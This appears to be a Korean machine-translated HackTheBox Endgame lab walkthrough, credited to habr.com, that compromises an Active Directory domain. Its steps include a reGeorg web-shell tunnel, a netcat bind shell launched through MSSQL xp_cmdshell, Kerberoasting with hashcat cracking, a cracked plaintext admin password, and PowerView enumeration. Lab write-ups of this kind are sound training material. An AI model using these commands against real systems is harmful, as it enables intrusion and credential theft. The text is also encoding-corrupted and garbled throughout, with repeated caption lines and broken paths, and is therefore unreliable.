์ด๋ฒˆ์—๋Š” IPv6์„ ํ†ตํ•ด ํ˜ธ์ŠคํŠธ๋ฅผ ๋‹ค์‹œ ์Šค์บ”ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋ฆฌ๊ณ  WinRM ์„œ๋น„์Šค๋Š” IPv6์„ ํ†ตํ•ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฐพ์€ ์ž๊ฒฉ ์ฆ๋ช…์œผ๋กœ ์—ฐ๊ฒฐํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๋ฐ”ํƒ• ํ™”๋ฉด์— ๊นƒ๋ฐœ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

P00ned ํ”Œ๋ž˜๊ทธ

ํ˜ธ์ŠคํŠธ ์ •์ฐฐ ํ›„ ์œˆํ”ผ ์šฐ๋ฆฌ๋Š” ํŠน๋ณ„ํ•œ ๊ฒƒ์„ ์ฐพ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋‹ค์‹œ ์ฐพ๊ธฐ๋กœ ๊ฒฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค (์ด ์ฃผ์ œ์— ๋Œ€ํ•ด์„œ๋„ ์ผ์Šต๋‹ˆ๋‹ค ัั‚ะฐั‚ัŒัŽ). ํ•˜์ง€๋งŒ WinRM์„ ํ†ตํ•ด ์‹œ์Šคํ…œ์—์„œ ๋ชจ๋“  SPN์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค.

setspn.exe -T intranet.poo -Q */*

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

MSSQL์„ ํ†ตํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•ด ๋ด…์‹œ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ด๋Ÿฐ ์‹์œผ๋กœ ์‚ฌ์šฉ์ž p00_hr ๋ฐ p00_adm์˜ SPN์„ ์–ป์Šต๋‹ˆ๋‹ค. ์ฆ‰, Kerberoasting๊ณผ ๊ฐ™์€ ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•˜๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค. ์š”์ปจ๋Œ€, ์•”ํ˜ธ์˜ ํ•ด์‹œ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋จผ์ € MSSQL ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ ์•ˆ์ •์ ์ธ ์…ธ์„ ๊ฐ€์ ธ์™€์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์•ก์„ธ์Šค๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ํฌํŠธ 80๊ณผ 1433์„ ํ†ตํ•ด์„œ๋งŒ ํ˜ธ์ŠคํŠธ์™€ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํฌํŠธ 80์„ ํ†ตํ•ด ํŠธ๋ž˜ํ”ฝ์„ ํ„ฐ๋„๋งํ•˜๋Š” ๊ฒƒ์€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค! ์ด๋ฅผ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค ๋‹ค์Œ ์‹ ์ฒญ. ์›น ์„œ๋ฒ„์˜ ํ™ˆ ๋””๋ ‰ํ„ฐ๋ฆฌ์ธ C:inetpubwwwroot์— tunnel.aspx ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋Ÿฐ๋ฐ ์ ‘๊ทผ์„ ์‹œ๋„ํ•˜๋ฉด 404 ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š”๋ฐ ์ด๋Š” *.aspx ํŒŒ์ผ์ด ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค๋Š” ๋œป์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ™•์žฅ์ž๋ฅผ ๊ฐ€์ง„ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ASP.NET 4.5๋ฅผ ์„ค์น˜ํ•ฉ๋‹ˆ๋‹ค.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋ฆฌ๊ณ  ์ด์ œ tunnel.aspx์— ์•ก์„ธ์Šคํ•  ๋•Œ ๋ชจ๋“  ๊ฒƒ์ด ์ค€๋น„๋˜์—ˆ๋‹ค๋Š” ๋Œ€๋‹ต์„ ์–ป์Šต๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

ํŠธ๋ž˜ํ”ฝ์„ ๋ฆด๋ ˆ์ดํ•  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํด๋ผ์ด์–ธํŠธ ๋ถ€๋ถ„์„ ์‹œ์ž‘ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ํฌํŠธ 5432์˜ ๋ชจ๋“  ํŠธ๋ž˜ํ”ฝ์„ ์„œ๋ฒ„๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋ฆฌ๊ณ  ํ”„๋ก์‹œ์ฒด์ธ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํŠธ๋ž˜ํ”ฝ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์ด ํ”„๋ก์‹œ๋ฅผ /etc/proxychains.conf ๊ตฌ์„ฑ ํŒŒ์ผ์— ์ถ”๊ฐ€ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ด์ œ ์„œ๋ฒ„์— ํ”„๋กœ๊ทธ๋žจ์„ ์—…๋กœ๋“œํ•˜์ž ๋„ท์บฃ, ์•ˆ์ •์ ์ธ ๋ฐ”์ธ๋“œ ์…ธ์„ ๋งŒ๋“ค๊ณ  ์Šคํฌ๋ฆฝํŠธ Kerberoast ํ˜ธ์ถœ, Kerberoasting ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ด์ œ MSSQL์„ ํ†ตํ•ด ์ˆ˜์‹ ๊ธฐ๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋ฆฌ๊ณ  ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.

proxychains rlwrap nc poo.htb 4321

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋ฆฌ๊ณ  ํ•ด์‹œ๋ฅผ ์–ป์ž.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๋‹ค์Œ์œผ๋กœ ์ด๋Ÿฌํ•œ ํ•ด์‹œ๋ฅผ ๋ฐ˜๋ณตํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. rockyou์—๋Š” ์•”ํ˜ธ ๋ฐ์ดํ„ฐ ์‚ฌ์ „์ด ์—†์—ˆ๊ธฐ ๋•Œ๋ฌธ์— Seclists์—์„œ ์ œ๊ณตํ•˜๋Š” ๋ชจ๋“  ์•”ํ˜ธ ์‚ฌ์ „์„ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. ์—ด๊ฑฐ์—๋Š” hashcat์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

๊ทธ๋ฆฌ๊ณ  dutch_passwordlist.txt ์‚ฌ์ „์—์„œ ์ฒซ ๋ฒˆ์งธ ์•”ํ˜ธ์™€ Keyboard-Combinations.txt์—์„œ ๋‘ ๋ฒˆ์งธ ์•”ํ˜ธ๋ฅผ ๋ชจ๋‘ ์ฐพ์Šต๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์‚ฌ์šฉ์ž๊ฐ€ XNUMX๋ช…์ด๋ฏ€๋กœ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค. ๋จผ์ € ๊ทธ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ด…์‹œ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ข‹์Šต๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ IP ์ฃผ์†Œ๋ฅผ ๋ฐฐ์› ์Šต๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ์˜ ๋ชจ๋“  ์‚ฌ์šฉ์ž์™€ ๊ทธ ์ค‘ ๋ˆ„๊ฐ€ ๊ด€๋ฆฌ์ž์ธ์ง€ ์•Œ์•„๋ด…์‹œ๋‹ค. PowerView.ps1 ์ •๋ณด๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๋ ค๋ฉด. ๊ทธ๋Ÿฐ ๋‹ค์Œ -s ๋งค๊ฐœ๋ณ€์ˆ˜์—์„œ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ง€์ •ํ•˜์—ฌ evil-winrm์„ ์‚ฌ์šฉํ•˜์—ฌ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ PowerView ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ด์ œ ๋ชจ๋“  ๊ธฐ๋Šฅ์— ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. p00_adm ์‚ฌ์šฉ์ž๋Š” ๊ถŒํ•œ์ด ์žˆ๋Š” ์‚ฌ์šฉ์ž์ฒ˜๋Ÿผ ๋ณด์ด๋ฏ€๋กœ ํ•ด๋‹น ์ปจํ…์ŠคํŠธ์—์„œ ์ž‘์—…ํ•ฉ๋‹ˆ๋‹ค. ์ด ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ PSCredential ๊ฐœ์ฒด๋ฅผ ๋งŒ๋“ค์–ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

์ด์ œ Cred๋ฅผ ์ง€์ •ํ•˜๋Š” ๋ชจ๋“  Powershell ๋ช…๋ น์ด p00_adm์„ ๋Œ€์‹ ํ•˜์—ฌ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž ๋ชฉ๋ก๊ณผ AdminCount ์†์„ฑ์„ ํ‘œ์‹œํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ ์‚ฌ์šฉ์ž๋Š” ์ •๋ง ํŠน๊ถŒ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๊ฐ€ ์†ํ•œ ๊ทธ๋ฃน์„ ๋ณด์ž.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์ตœ์ข…์ ์œผ๋กœ ์‚ฌ์šฉ์ž๊ฐ€ ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž์ž„์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— ์›๊ฒฉ์œผ๋กœ ๋กœ๊ทธ์˜จํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋ฉ๋‹ˆ๋‹ค. ํ„ฐ๋„์„ ์‚ฌ์šฉํ•˜์—ฌ WinRM์œผ๋กœ ๋กœ๊ทธ์ธํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ๋‚˜๋Š” evil-winrm์„ ์‚ฌ์šฉํ•  ๋•Œ reGeorg์—์„œ ๋ฐœ์ƒํ•œ ์˜ค๋ฅ˜๋กœ ์ธํ•ด ํ˜ผ๋ž€์Šค๋Ÿฌ์› ์Šต๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋‹ค๋ฅธ ๋” ์‰ฌ์šด ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ WinRM์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. ์—ฐ๊ฒฐ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์—ด๊ณ  ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

์šฐ๋ฆฌ๋Š” ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•˜๊ณ  ์‹œ์Šคํ…œ์— ์žˆ์Šต๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๋Ÿฌ๋‚˜ ๊นƒ๋ฐœ์€ ์—†์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์‚ฌ์šฉ์ž๋ฅผ ๋ณด๊ณ  ๋ฐ์Šคํฌํ†ฑ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

mr3ks์—์„œ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฐพ์•˜๊ณ  ์‹คํ—˜์‹ค์€ 100% ์™„๋ฃŒ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

HackTheBoxend๊ฒŒ์ž„. ์‹คํ—˜์‹ค ์ „๋ฌธ ๊ณต๊ฒฉ ์ž‘์ „ ํ†ต๊ณผ. ์นจํˆฌ ํ…Œ์ŠคํŠธ Active Directory

๊ทธ๊ฒŒ ๋‹ค์•ผ. ํ”ผ๋“œ๋ฐฑ์œผ๋กœ ์ด ๋ฌธ์„œ์—์„œ ์ƒˆ๋กœ์šด ๊ฒƒ์„ ๋ฐฐ์› ๋Š”์ง€, ์œ ์šฉํ–ˆ๋Š”์ง€์— ๋Œ€ํ•ด ์˜๊ฒฌ์„ ๋งํ•˜์‹ญ์‹œ์˜ค.

๋‹น์‹ ์€ ์šฐ๋ฆฌ์™€ ํ•จ๊ป˜ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ํ…”๋ ˆ๊ทธ๋žจ. ์—ฌ๊ธฐ์—์„œ ํฅ๋ฏธ๋กœ์šด ์ž๋ฃŒ, ๋ณ‘ํ•ฉ ๊ณผ์ • ๋ฐ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. IT์˜ ๋งŽ์€ ์˜์—ญ์„ ์ดํ•ดํ•˜๋Š” ์‚ฌ๋žŒ๋“ค์ด ์žˆ๋Š” ์ปค๋ฎค๋‹ˆํ‹ฐ๋ฅผ ๋ชจ์•„ IT ๋ฐ ์ •๋ณด ๋ณด์•ˆ ๋ฌธ์ œ์— ๋Œ€ํ•ด ํ•ญ์ƒ ์„œ๋กœ ๋„์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ถœ์ฒ˜ : habr.com

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€